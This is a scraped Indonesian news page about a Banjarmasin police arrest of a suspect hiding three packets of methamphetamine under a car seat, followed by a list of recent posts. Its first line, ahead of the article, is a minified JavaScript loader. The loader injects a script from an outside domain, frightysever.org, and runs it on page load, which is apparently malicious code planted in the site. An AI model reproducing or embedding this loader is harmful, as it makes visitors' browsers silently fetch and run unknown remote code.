(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sempat Kejar-kejaran dengan Polisi, Sabu 19,22 Gram di Bawah Jok Mobil Ayla


BANJARMASIN, Tiga paket besar nakoba jenis sabu seberat 19,22 gram berhasil digagaledarkan anggota Satuan Reserse Narkoba Polresta Banjarmasin, Minggu (31/3/2019). Penangkapan berawal dari penggeledah sebuah mobil Daihatsu Ayla warna hitam, di dalam mobil ditemukan satu plastik kresek hitam yang berisi tiga paket besar sabu-sabu.

Awalnya polisi mendapatkan informasi ada seseorang membawa narkotika jenis sabu menggunakan mobil Daihatsu Ayla di Jalan Veteran, kota Banjarmasin.

“Kami geledah mobil tersebut, ternyata di bawah jok mobil ditemukan barang bukti tiga paket sabu,” kata Kasat Resnarkoba Polresta Banjarmasin Kompol Herry Purwanto, Minggu (31/3/2019). Petugas melakukan penyelidikan, dengan membuntuti pelaku, setelah mengetahui dan sempat terjadi kejar-kejaran di jalan, akhirnya petugas dapat menghentikan mobil pelaku.

Mobil berhenti dan akhirnya pelaku ditangkap di Jalan Manarap Tengah, Komplek Griya Indah Lestari RT 06 Desa Manarap Tengah, Kecamatan Kertak Hanyar, Kabupaten Banjar.

Usai menghentikan mobol pelaku yang diketahui berinisial AR alias Fi’i (46) warga Veteran Gang Merpati, Kelurahan Melayu, Kecamatan Banjarmasin Tengah, petugas melakukan penggeledahan dan didapati plastik hitam berisi 3 paket sabu seberat 19,22 gram.

“Sabu itu disembunyikan Fi’i di bawah kursi jok mobil sebelah kiri,” ucap perwira lulusan Akpol angkatan 2002 itu.

Herry -panggilan akrab Kasat Resnarkoba- menambahkan, penangkapan terhadap Fi’i dilakukan pada sekitar pukul 23.40 Wita.

Atas temuan barang bukti tiga paket besar sabu itu akhirnya pelaku digiring ke Polresta Banjarmasin menjalani pemeriksaan dan proses hukum. Fi’i pun ditetapkan sebagai tersangka dijerat dengan pasal 112 ayat (2) UU RI No 35 Tahun 2009 Tentang Narkotika dengan ancaman hukuman minimal lima tahun penjara.

“Kasus ini terus kami kembangkan untuk mengetahui jaringan tersangka dan asal usul sabu tersebut,” tandasnya. (mario)

Reporter: Mario
Editor: KK

Desy Arfianty

Recent Posts

Perdana Auditorium ULM Banjarbaru Diisi Jemaah Sekumpul, Ikut Berdoa dari Jauh

KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More

5 jam ago

Satu Arah Mulai Pukul 7 Malam dari Banjarbaru hingga Km 17 Gambut

KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More

6 jam ago

Maulid Habsyi dan Tahlil Selesai Dibaca Pukul 20.15, Jemaah Sekumpul Berangsur Pulang

KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More

7 jam ago

Mulai Ampar Sajadah Sejak Pagi, Jalan Sekumpul Sudah Penuh Jemaah

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More

15 jam ago

Melihat Kerelawanan Warga Banjar Menyambut Tamu Jemaah Sekumpul

KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More

16 jam ago

Posko Sapta Marga Bersatu di Banjarbaru Ada Bengkel Gratis

KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More

17 jam ago

This website uses cookies.